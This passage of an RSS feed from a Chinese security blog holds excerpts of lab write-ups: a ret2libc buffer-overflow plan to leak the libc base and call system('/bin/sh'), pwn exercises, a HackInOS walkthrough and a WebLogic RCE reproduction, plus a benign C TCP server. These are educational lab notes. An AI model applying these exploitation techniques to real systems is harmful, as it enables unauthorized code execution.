&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;Hello, PWN!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;我们不关闭ASLR来进行编译，为了简化情况，这里只开启nx保护。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/2019/05/3947596263.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;可以看出加载的libc的基址每次都在变化，这样我们也就不能直接找system的地址，因为这是这地址每次运行都在变化。&lt;/p&gt;
&lt;p&gt;我们可以在溢出时调用函数找到libc的基地址，通过基地址就可以找到system和&amp;quot;/bin/sh&amp;quot;的虚拟地址，并且返回地址继续返回到readbuf函数中，然后再溢出到system地址中。&lt;/p&gt;</description></item><item><title>pwn溢出入门案例一</title><link>https://saucer-man.com/information_security/177.html</link><pubDate>Sun, 19 May 2019 05:17:00 +0000</pubDate><guid>https://saucer-man.com/information_security/177.html</guid><description>&lt;p&gt;这是平时软件安全的一次溢出实验，在blog中简单记录一下。思路都很明显，大神就不用看了。
一共三个题目：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;无任何保护，简单的pwn溢出入门&lt;/li&gt;
&lt;li&gt;存在NX保护的pwn案例&lt;/li&gt;
&lt;li&gt;存在NX保护和canary保护的案例&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="0x00-实验环境"&gt;0x00 实验环境&lt;/h2&gt;
&lt;p&gt;我是在ubuntu16 86_64下面做的，但是给的程序都是32位的程序，本质上没什么太大区别。
实验环境需要关闭地址随机化：&lt;/p&gt;</description></item><item><title>靶机HackInOs实战</title><link>https://saucer-man.com/information_security/155.html</link><pubDate>Tue, 07 May 2019 07:09:00 +0000</pubDate><guid>https://saucer-man.com/information_security/155.html</guid><description>&lt;p&gt;第一次写靶机，选了vulnhub上的HackInOs靶机，不断地踩坑踩坑，总归来说还是值得折腾一下的。&lt;/p&gt;
&lt;h2 id="0x01下载安装"&gt;0x01下载安装&lt;/h2&gt;
&lt;p&gt;先进vulnhub官网，看到第一个靶机&lt;a href="https://www.vulnhub.com/entry/hackinos-1,295/"&gt;HackInOS: 1&lt;/a&gt;，描述说这是CTF初级靶机，听起来难度很低的样子，那就先来这个吧。&lt;/p&gt;
&lt;p&gt;下载的文件是ova格式，但是用vmware导入会出错，没得办法，安装了virtualbox，然后直接导入即可。&lt;/p&gt;</description></item><item><title>CNVD-C-2019-48814 Weblogic RCE复现及POC</title><link>https://saucer-man.com/information_security/129.html</link><pubDate>Fri, 26 Apr 2019 10:15:00 +0000</pubDate><guid>https://saucer-man.com/information_security/129.html</guid><description>&lt;p&gt;和年前thinkphp5的rec一样，这次的weblogic rce也影响较大，趁着校内的CTF毫无头绪，先来复现一波。&lt;/p&gt;
&lt;h2 id="0x01-本地复现"&gt;0x01 本地复现&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;目标机：win10/weblogic 12.1.3&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;攻击机：win10本地&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;首先安装weblogic之后，访问本地&lt;code&gt;http://127.0.0.1:7001/_async/AsyncResponseService&lt;/code&gt;如下：&lt;/p&gt;</description></item><item><title>Linux下C语言实现简单的套接字编程</title><link>https://saucer-man.com/backend_development/124.html</link><pubDate>Thu, 11 Apr 2019 06:19:00 +0000</pubDate><guid>https://saucer-man.com/backend_development/124.html</guid><description>&lt;p&gt;一篇水水的文章，仅记录用。&lt;/p&gt;
&lt;h2 id="0x01-服务端-tcp_serverc"&gt;0x01 服务端 tcp_server.c&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-C" data-lang="C"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;sys/types.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;arpa/inet.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;sys/stat.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;fcntl.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#define PORT 9999 &lt;/span&gt;&lt;span class="cm"&gt;/*侦听端口地址*/&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#define BACKLOG 2 &lt;/span&gt;&lt;span class="cm"&gt;/*侦听队列长度*/&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/*服务器对客户端的处理*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;process_conn_server&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="kt"&gt;ssize_t&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;buffer_recv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="cm"&gt;/*数据的缓冲区*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;buffer_send&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(;;){&lt;/span&gt; &lt;span class="cm"&gt;/*循环处理过程*/&lt;/span&gt;		
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buffer_recv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="cm"&gt;/*从套接字中读取数据放到缓冲区buffer中*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt; &lt;span class="cm"&gt;/*没有数据*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;			&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="cm"&gt;/*构建响应字符，为接收到客户端字节的数量*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="nf"&gt;sprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer_send&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;%d bytes altogether:%s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buffer_recv&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buffer_send&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer_send&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="cm"&gt;/*发给客户端*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;ss&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;sc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/*ss为服务器的socket描述符，sc为客户端的socket描述符*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;sockaddr_in&lt;/span&gt; &lt;span class="n"&gt;server_addr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/*服务器地址结构*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;sockaddr_in&lt;/span&gt; &lt;span class="n"&gt;client_addr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/*客户端地址结构*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/*返回值*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="kt"&gt;pid_t&lt;/span&gt; &lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/*分叉的进行ID*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="cm"&gt;/*建立一个流式套接字*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;ss&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ss&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt; &lt;span class="cm"&gt;/*出错*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;socket error&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="cm"&gt;/*设置服务器地址*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nf"&gt;bzero&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;server_addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;server_addr&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt; &lt;span class="cm"&gt;/*清零*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;server_addr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sin_family&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/*协议族*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;server_addr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sin_addr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;s_addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;htonl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;INADDR_ANY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="cm"&gt;/*本地地址*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;server_addr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sin_port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;htons&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PORT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="cm"&gt;/*服务器端口*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="cm"&gt;/*绑定地址结构到套接字描述符*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ss&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;sockaddr&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;server_addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;server_addr&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="cm"&gt;/*出错*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;bind error&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;	
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="cm"&gt;/*设置侦听*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ss&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BACKLOG&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt; &lt;span class="cm"&gt;/*出错*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;listen error&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="cm"&gt;/*主循环过程*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(;;)&lt;/span&gt;	&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="kt"&gt;socklen_t&lt;/span&gt; &lt;span class="n"&gt;addrlen&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;sockaddr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="n"&gt;sc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ss&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;sockaddr&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;client_addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;addrlen&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="cm"&gt;/*接收客户端连接*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sc&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt; &lt;span class="cm"&gt;/*出错*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;			&lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/*结束本次循环*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="p"&gt;}&lt;/span&gt;	
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="cm"&gt;/*建立一个新的进程处理到来的连接*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;fork&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="cm"&gt;/*分叉进程*/&lt;/span&gt;
